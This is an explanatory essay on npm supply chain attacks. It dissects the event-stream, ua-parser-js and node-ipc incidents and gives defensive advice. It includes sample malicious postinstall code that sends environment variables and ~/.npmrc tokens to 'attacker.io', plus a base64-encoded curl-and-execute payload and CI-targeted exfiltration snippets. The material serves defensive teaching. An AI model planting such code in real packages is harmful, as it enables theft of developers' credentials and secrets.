npm Supply Chain Attacks: What Actually Happens Inside Your Registry
A proper look at how attackers get into your dependency tree, what they do once they are in, and why your lockfile alone is not going to save you.
You Are Running Code You Have Never Read
Let me say something that is technically obvious but practically terrifying: every time you run npm install, you are executing untrusted code with full access to your file system, your environment variables, your SSH keys, and in CI pipelines, your production secrets. And you are doing this hundreds of times a day, for packages you have never looked at, written by people you have never met.
The average Node.js project has somewhere between 500 and 1,000 transitive dependencies. You directly depend on maybe 30 of them. The rest come along for the ride because some package you trust depends on another package, which depends on another, which depends on a four-line utility someone published in 2014 and forgot about. That forgotten package is now running inside your CI pipeline.
This is not a hypothetical problem. The event-stream incident of 2018, the ua-parser-js takeover of 2021, the node-ipc protest-ware saga of 2022, and the XZ Utils near-miss of 2024 (not npm, but the same category of attack) are all variations of the same theme: someone got write access to a package that millions of people trust, and they used that access to do something the users did not consent to.
What I want to do in this piece is go beyond the headlines and actually explain the mechanics. How does an attacker get into your registry in the first place? What does malicious code in a postinstall script actually look like? How does typosquatting work at scale? And what, realistically, can you do about it?
the npm Registry
per Project
Known Vulnerabilities
Supply Chain Attacks
The Five Ways Attackers Actually Get In
There is a tendency to treat supply chain attacks as a single monolithic threat. In practice, they are a family of very different techniques that share a common goal: getting malicious code into a package that legitimate developers will install without question. Understanding the distinctions matters because the defences are different for each.
Account Takeover
This is the most straightforward and arguably the most dangerous vector. An attacker compromises the npm account of a legitimate, trusted package maintainer and publishes a new version containing malicious code. The ua-parser-js attack worked exactly like this. The maintainer's npm credentials were stolen, and within hours a new version was out with a cryptominer and a credential-harvesting script baked into the postinstall hook. Because ua-parser-js has somewhere in the range of eight million weekly downloads and is a dependency of Facebook's tooling, Google's tooling, and countless enterprise projects, the blast radius was enormous.
What makes account takeover so effective is that it subverts trust entirely. The package is the genuine package, published by the genuine namespace, signed with what appears to be the genuine maintainer's identity. There is no typo to catch, no unusual namespace to notice. If you are not pinning exact versions and auditing changelogs on every dependency update, you will pull it straight in.
Dependency Confusion
This one is genuinely clever, and it was Alex Birsan's 2021 research that made the whole industry sit up and pay attention. Here is the setup: many companies use private npm registries to host internal packages. A package called @mycompany/utils might live on their private Artifactory or Nexus instance and never be published to the public npm registry.
The attack works like this: publish a package with the same name to the public npm registry, but give it a very high version number, say 9.9.9. When the victim's build system runs npm install, it checks both the private registry and the public registry and, depending on the configuration, may prefer the higher version from the public registry. Your internal package name suddenly resolves to the attacker's code.
Birsan reported this to dozens of companies as a bug bounty exercise and received payouts from Microsoft, Apple, PayPal, Shopify, Tesla, and others. These are not small startups with lax security practices. This is a systematic misconfiguration that affects almost every enterprise that uses private registries without explicit scope locking.
Typosquatting
If you have ever typed npm install lodahs instead of lodash, you have brushed past a typosquatting opportunity. Attackers register package names that are plausible misspellings or near-homoglyphs of popular packages, then wait for developers to make a typo. crossenv instead of cross-env, babelcli instead of babel-cli, jquery.js instead of the scoped package.
This is low-effort and statistically reliable at scale. Publish enough typosquats and some fraction of the developer population will install them. npm has gotten better at catching obvious cases, but the registry is too large for manual review of every new publication, and the tooling to detect typosquats is imperfect.
Protestware and Insider Threats
The node-ipc incident in March 2022 was a genuinely new category. The maintainer of a legitimate, widely-used package deliberately introduced code that would detect whether the machine running it had a Russian or Belarusian IP address, and if so, would overwrite files on the disk with heart emoji. This was not a compromise. The maintainer did this intentionally, as a form of protest against the war in Ukraine.
Whatever your politics, the technical lesson is unsettling: you are implicitly trusting not just the security practices of package maintainers, but their judgment, their mental state, and their values. An insider threat in an open source context looks exactly like normal package development right up until the moment it does not.
Malicious Postinstall Scripts
npm's lifecycle hooks are a legitimate feature. Many packages need to compile native binaries, download platform-specific assets, or run setup steps after installation. The postinstall field in package.json is how they do it. It is also one of the most obvious vectors for malicious code, because it executes automatically during npm install without any additional user action.
// Legitimate usage: compiling a native module { "scripts": { "postinstall": "node-gyp rebuild" } } // What an attacker's postinstall looks like { "scripts": { "postinstall": "node ./scripts/setup.js" } } // And setup.js contains something like this const https = require('https'); const os = require('os'); const fs = require('fs'); // Harvest env vars and send to attacker-controlled server const payload = { env: process.env, hostname: os.hostname(), username: os.userInfo().username, npmrc: fs.existsSync(`${os.homedir()}/.npmrc`) ? fs.readFileSync(`${os.homedir()}/.npmrc`, 'utf8') : null }; // Exfiltrate silently — no stdout, no stderr const req = https.request({ host: 'attacker.io', path: '/collect', method: 'POST' }); req.write(JSON.stringify(payload)); req.end();
The above is simplified, but this is essentially what the event-stream malware was doing. It targeted the Copay Bitcoin wallet specifically, harvesting private keys from machines where the wallet was installed. It only activated in production builds. It was hidden inside a dependency of a dependency of a dependency. It sat undetected for two months.
How npm's Publication Pipeline Actually Works
To understand why these attacks succeed, you need to understand what happens when a package is published. The answer, bluntly, is: not very much gatekeeping.
When you run npm publish, the npm CLI packages your project into a tarball, sends it to the registry with your auth token, and the registry makes it available almost immediately. There is no human review. There is automated scanning for some known malware patterns, but it is reactive rather than comprehensive. The registry trusts the publisher.
Auth check validates the token, not the publisher's intent. Automated scan catches signatures of known malware, not novel attacks. There is no code review step.
The Token Problem
npm auth tokens are long-lived by default and are stored in plaintext in ~/.npmrc. They have historically had no granular permission controls. A token that can publish also has read access to all private packages the account can see. There was no concept of "publish-only" or "read-only" scoped tokens until npm introduced granular access tokens in 2022, and adoption has been slow.
What this means practically: if an attacker exfiltrates a developer's .npmrc file, which many postinstall scripts specifically look for, they get a token that lets them publish new versions of every package the developer maintains. The credential theft and the supply chain attack are one smooth operation.
The Provenance Gap
Until very recently, there was no reliable way to verify that a package published on the npm registry actually came from the source code it claimed to come from. A package claiming to be built from the lodash/lodash GitHub repository could have been built from a modified local copy. You had to trust the publisher's word.
npm introduced package provenance in 2023, which uses Sigstore to create a cryptographic link between a published package and the specific commit and CI pipeline that built it. This is genuinely good. The problem is that provenance is opt-in, and most packages, including many critical ones, do not have it yet.
"The registry trusts the publisher completely. Your entire defence against supply chain attacks sits on the strength of one person's npm password and their 2FA setup."
The Attacks That Actually Happened, Dissected
event-stream (2018): The Slow Burn
This remains the most instructive supply chain attack in the npm ecosystem's history, mostly because of how long it took to unfold and how carefully it was constructed. The attacker, going by the handle right9ctrl, reached out to the original maintainer of event-stream, a widely-used streaming utility, and offered to help maintain it. The maintainer, who had mostly moved on from the project, agreed and granted publish access.
Right9ctrl then added a new dependency: flatmap-stream, a package they themselves had published. Inside flatmap-stream, in the encrypted payload of one of the JavaScript files, was code that would only activate in a very specific context: when the package was running inside the Copay Bitcoin wallet application. It looked for specific Bitcoin key structures and exfiltrated them.
The attack was in the wild for two months. It was eventually discovered not by any automated security tooling, but by a developer who noticed an unusual dependency and filed a GitHub issue. The response from the community, once it spread, was immediate, but the window of exposure was enormous.
The malicious code was in an encrypted payload, not readable JavaScript. Static analysis tools could not see it. It only activated for a specific target, so broad behavioural analysis would not trigger it. The dependency chain was deep enough that most developers had no reason to audit it. And it came from a legitimate maintainer account with a genuine history of contributions.
ua-parser-js (2021): The Speed Attack
If event-stream was a slow, targeted operation, the ua-parser-js attack was the opposite. It moved fast and cast a wide net. The attacker compromised the maintainer's npm account and published three new versions in quick succession: 0.7.29, 0.8.0, and 1.0.0. Each contained a postinstall script that would download and run a shell script, which in turn dropped a cryptominer on Linux systems and a credential-stealing Trojan on Windows.
Because ua-parser-js is a dependency of npm's own tooling, Google's Chrome apps infrastructure, and Facebook's React development stack, the potential reach was staggering. npm yanked the malicious versions within hours, but the attacker clearly understood that speed was the strategy. Even a small window of exposure across that download volume translates to a meaningful number of compromised machines.
node-ipc (2022): When the Maintainer Is the Threat
node-ipc is used by Vue CLI, which meant it had a large, legitimate install base. Its maintainer, Brandon Nozaki Miller, was a real person with a public history in the open source community. In version 10.1.1 and 10.1.2, he deliberately introduced code that checked the machine's public IP address against geolocation data and, if the machine appeared to be in Russia or Belarus, would recursively overwrite files with a peace emoji.
The response from the security community was sharp. Maintainers do have significant power over their packages, and there is essentially no technical mechanism to prevent a maintainer from doing this. The only protection is detecting it quickly and pinning to a known-good version. Vue CLI moved to fork the package. npm eventually removed the malicious versions, but not before a non-trivial number of machines in affected countries had their files corrupted.
Window of Exposure
of ua-parser-js
ua-parser-js Attack
node-ipc via Vue CLI
What Malicious Package Code Actually Looks Like
Security articles tend to describe these attacks in vague terms. Let us be more concrete about what the code itself looks like, and how it hides.
Obfuscation Techniques
Sophisticated attacks do not put their payload in plain JavaScript. The techniques used to hide malicious code include base64-encoded strings that are decoded at runtime, encrypted payloads that require a key derived from the target environment, split strings that are only concatenated at execution time, and dead-looking code that only activates when a specific condition is met.
// Pattern 1: Base64-encoded payload, decoded at runtime const exec = require('child_process').exec; exec(Buffer.from( 'Y3VybCBodHRwczovL2F0dGFja2VyLmlvL3BheWxvYWQuc2g=', 'base64' ).toString()); // Pattern 2: Environment-conditioned activation const isCi = process.env.CI || process.env.GITHUB_ACTIONS; if (isCi) { // Only run in CI — where secrets live exfiltrate(process.env); } // Pattern 3: String splitting to defeat static analysis const h = 'att' + 'ack' + 'er' + '.io'; const p = '/co' + 'lle' + 'ct'; // Pattern 4: Prototype pollution to affect downstream code Object.prototype.__defineGetter__('toJSON', function() { exfiltrate(this); // Fires whenever any object is serialised return JSON.prototype.toJSON; });
Targeting CI Environments Specifically
One pattern that has become more common is malicious packages that specifically check whether they are running in a CI environment before activating. This is actually quite smart from an attacker's perspective. CI environments are where your secrets live. The AWS_ACCESS_KEY_ID, the database password, the Stripe secret key, the Kubernetes config, the Docker Hub credentials. They also tend to have looser sandboxing than production, because the assumption is that the code running there is trusted.
A package that only misbehaves in CI will fly under the radar in local developer testing. The developer installs it, it behaves normally, they commit. The moment it runs in GitHub Actions or CircleCI, it exfiltrates the secret store and exits cleanly. By the time anyone investigates, the credentials have already been used.
The target varies by sophistication. Script-kiddie level attacks go for easy wins: cryptominer deployment, credential files like ~/.npmrc and ~/.aws/credentials, and SSH keys. Mid-tier attacks target CI secrets: deployment tokens, cloud provider credentials, and code-signing certificates. The most sophisticated attacks are targeted at specific organisations or specific software, like the event-stream attack on Copay's Bitcoin wallet.
The common thread is that access to your build environment is extremely valuable because it is trusted by definition. Code that your build pipeline runs becomes code that your production infrastructure implicitly trusts.
Mapping the Risk in a Real Project
Let us be concrete about what the attack surface looks like for a typical mid-size Node.js application. I am going to use a hypothetical but representative project: a React frontend with a Node.js backend, using the usual suspects for tooling.
The Direct Dependency Layer
This is the layer you can actually see and audit. Your package.json lists maybe 40 to 60 direct dependencies. You can read their changelogs. You can audit their GitHub repositories. You have chosen them deliberately. This is the layer most security advice focuses on, and it is also the least interesting from an attacker's perspective, because it is the most watched.
The Transitive Dependency Layer
This is where things get interesting. Your 50 direct dependencies have their own dependencies, and those have their own, and so on. A realistic project ends up with somewhere between 600 and 1,200 packages installed. You have not made a deliberate choice about any of them. You cannot realistically audit them. Many of them are maintained by a single person working in their spare time.
Run npm list --all in a moderately complex project and look at what comes back. You will find packages that have not been updated in five years. You will find packages maintained by accounts with no 2FA. You will find packages with three lines of code and ten million weekly downloads. Each one is an implicit trust decision you have made without knowing it.
The Lifecycle Script Layer
Even if every package in your tree is perfectly legitimate, the lifecycle scripts they run during installation execute before your application code runs, before your security tooling runs, and with the full permissions of the user running npm. On a developer's machine this means access to everything that developer can access. In CI, it means access to whatever secrets are in the environment.
What You Can Realistically Do About This
Here is the frustrating truth: there is no single fix. Supply chain security is a posture, not a tool. But there are specific, practical things that meaningfully reduce your exposure, and I want to be honest about which ones actually work and which ones make people feel secure without doing much.
Lock Your Lockfile and Verify It
Using npm ci instead of npm install in CI environments is table stakes. It installs exactly what is in your lockfile and fails if the lockfile does not match package.json. But a lockfile alone only protects against newly introduced versions. If a malicious version was already in your lockfile before you started using npm ci, you are still running it.
The more important habit is treating your lockfile as a security artifact. Review lockfile diffs in pull requests. A PR that changes twenty lines of application code but updates sixty packages in the lockfile is a PR that deserves scrutiny.
Enable npm's Built-in Protections
npm has a few underused security features that are worth turning on. npm audit should be part of every CI pipeline, but should not be treated as a complete solution since it only catches known vulnerabilities that have been reported. More useful is adding ignore-scripts to your .npmrc to prevent lifecycle scripts from running automatically, then auditing which packages you explicitly need to allow scripts for. The list is usually much shorter than you think.
# Prevent lifecycle scripts from running automatically ignore-scripts=true # Require npm ci for CI installs (also set this in your pipeline) # Use exact versions, not ranges save-exact=true # Audit level — fail on high or critical audit-level=high # Scope your private packages explicitly @mycompany:registry=https://private.registry.io # Prevent public registry fallback for scoped packages # (prevents dependency confusion) @mycompany:always-auth=true
Use Package Provenance Where Available
If you are a package maintainer, enable provenance in your publishing workflow. It requires almost no extra effort if you are already publishing from GitHub Actions, and it gives your users a cryptographic guarantee that the package came from the source code and pipeline you say it did. If you are a package consumer, prefer packages that have provenance enabled for your most sensitive dependencies.
Introduce a Private Mirror or Caching Proxy
Running a private npm registry proxy like Verdaccio or using a commercial solution like Artifactory or AWS CodeArtifact gives you several advantages. You can allowlist specific packages and versions, you get a cache that protects against the npm registry being unavailable or packages being yanked, and you can enforce policy at the registry level rather than relying on each developer's configuration.
Critically, if you configure your private registry correctly and lock all scoped packages to your private registry, you close the dependency confusion attack vector entirely. Your @mycompany packages will only ever resolve from your registry, not from the public npm.
Automated Dependency Review in Pull Requests
GitHub's Dependency Review Action and similar tools from GitLab and others will automatically comment on pull requests that introduce vulnerable dependencies. This catches a large class of known-bad updates before they land in your main branch. It does not catch novel attacks, but it handles the boring, high-volume case of teams accidentally pulling in packages with known CVEs.
npm audit is a good start, not a complete solution. It only flags packages with published CVEs. It has no visibility into malicious code that has not yet been reported. It cannot detect intent. A cryptominer that arrived via a compromised maintainer account will not show up in npm audit output until someone reports it and the advisory is published.
Use it, run it in CI, fix what it flags. But do not mistake silence from npm audit for safety. The interesting attacks are the ones the audit database does not know about yet.
If You Publish Packages: What You Are Responsible For
Most of the conversation around supply chain security is written for consumers of packages, not publishers. But if you maintain anything on npm, even something small with a few hundred downloads a week, you are part of the supply chain. Other people's security posture depends partly on yours.
Enable 2FA on Your npm Account. Today.
This is the single highest-impact thing a maintainer can do and the one most frequently skipped. Account takeover via credential theft is the most common vector for supply chain attacks. If your npm account does not have 2FA enabled, your credentials being in a breach database is sufficient for an attacker to publish a malicious version of your package. npm now enforces 2FA for the top 500 most-downloaded packages, but that leaves millions of packages unprotected.
Use Granular Access Tokens
npm's granular access tokens, introduced in 2022, allow you to create tokens that are scoped to specific packages and specific actions. Your CI pipeline only needs a token that can publish; it does not need a token that can manage team membership or read all your private packages. Create publish-only tokens, set them to expire, and rotate them.
Minimise Your postinstall Scripts
If your package does not need a postinstall script, do not have one. If it does, make sure it is as minimal as possible and clearly documented. Postinstall scripts are the most scrutinised part of a package for security researchers, and having an unnecessary one raises red flags. If you need to compile native code, document why and be explicit about it.
Audit Who Has Publish Access
Over time, package collaborator lists accumulate people who have moved on, whose accounts may no longer be actively monitored, or who were added temporarily and never removed. Regularly review who has publish access to your packages and remove anyone who should not still have it. This is especially important for packages that were transferred or inherited.
"Maintaining a popular open source package is a trust relationship. The people who install your code are betting their infrastructure on your security hygiene and your good judgement."
What Technology Cannot Fix
I want to be honest about the limits of the technical solutions. Most of what I have described above reduces your attack surface and raises the cost of an attack. It does not eliminate the fundamental problem, which is structural.
The npm ecosystem is built on a model of radical openness and decentralised trust. Anyone can publish anything. Packages can depend on anything. There is no formal review process, no credential verification for maintainers, and no mechanism to prevent a legitimate maintainer from deliberately introducing malicious code. These are not design oversights. They are intentional choices that enabled the ecosystem to grow as quickly as it did.
The tension is real. The thing that makes npm so productive, the ability to publish and consume code with essentially no friction, is the same thing that makes it a large attack surface. Stricter gatekeeping would slow legitimate publication and drive people to alternative channels. The current model is a tradeoff, not a mistake.
What this means in practice is that the human layer of trust matters as much as the technical layer. Being selective about which packages you adopt, paying attention to maintainer histories and community signals, and not reflexively adding a new dependency every time you need a utility function are all security practices, even if they do not show up in any security checklist.
The Leftpad Lesson, Revisited
When Azer Koculu unpublished the leftpad package from npm in 2016 and broke thousands of builds around the world, it prompted a lot of conversation about dependency minimalism. The lesson most people took was about npm's unpublish policy. The more interesting lesson was about how much of the ecosystem was depending on a package that added eleven lines of left-padding to a string.
Every dependency you do not add is one fewer entry point into your supply chain. The question "do I actually need this package?" has a security dimension that most teams do not factor in.
in leftpad
When It Was Yanked
Before Adoption
a Single Maintainer
Where This Leaves You
Supply chain security is not a problem you can fully solve. The best honest framing is: you can substantially reduce your risk, detect compromises faster, and limit the blast radius when something does go wrong. That is a worthwhile goal even if it is not a complete solution.
The practical starting points, roughly in order of impact, are these. Enable 2FA on your npm account if you are a maintainer. Switch to npm ci in all CI pipelines. Add ignore-scripts=true to your .npmrc and explicitly re-enable only the packages that genuinely need it. Introduce a private registry proxy with dependency allowlisting if you are running at any meaningful scale. And review your lockfile diffs the way you review your code diffs.
Beyond the technical measures: develop a habit of thinking about your dependency tree as a trust decision, not just a convenience decision. The package you add in five seconds to save writing twenty lines of code will run on every machine in your organisation, in every CI pipeline, in every customer-facing environment. That deserves at least a brief moment of consideration.
The ecosystem is getting better. Provenance is real and growing. npm's security team is more active than it was five years ago. The community's ability to detect and respond to attacks has improved significantly. But the fundamental dynamic, millions of developers trusting millions of packages maintained by people they have never met, is not going away. Learning to operate securely within that reality is a skill worth building.
Enabled 2FA on all npm accounts with publish access
Using npm ci in all CI pipelines, not npm install
Reviewing lockfile diffs in pull requests
Consider ignore-scripts=true in .npmrc with explicit allowlist
Consider Private registry proxy (Verdaccio, Artifactory, CodeArtifact)
Consider Granular publish-only tokens with expiry for CI pipelines
Overrated npm audit as sole security measure (catches known CVEs only)
Avoid Unnecessary postinstall scripts in packages you publish
Related essays
- Security · Supply Chain
The Developer Infrastructure Is on Fire: GitHub Outages, npm Breaches, and the Crisis Nobody Prepared For
257 GitHub incidents in one year. Axios backdoored by North Korea. TanStack hijacked in 6 minutes. A self-replicating worm loose in the npm registry. The tools you trust with your code are under siege.
- Vite · Next.js
VITE_ And NEXT_PUBLIC_ Are Not Naming Conventions. They Are Publish Buttons.
Renaming a variable so it stops being undefined pastes its value into a public JavaScript file. What client env prefixes really do at build time, the dynamic lookup that inlines every prefixed variable in Vite, the define config that leaked a whole shell environment, and a CI check that catches it.
- npm · Node.js
Adding "exports" To Your package.json Is A Breaking Change. Stop Shipping It As A Patch.
Six lines of JSON can make every deep import your consumers rely on throw at runtime, including require('pkg/package.json'). How the exports field really resolves, the TypeScript condition-order bug that fails silently, the dual package hazard, and how to roll it out without breaking anyone.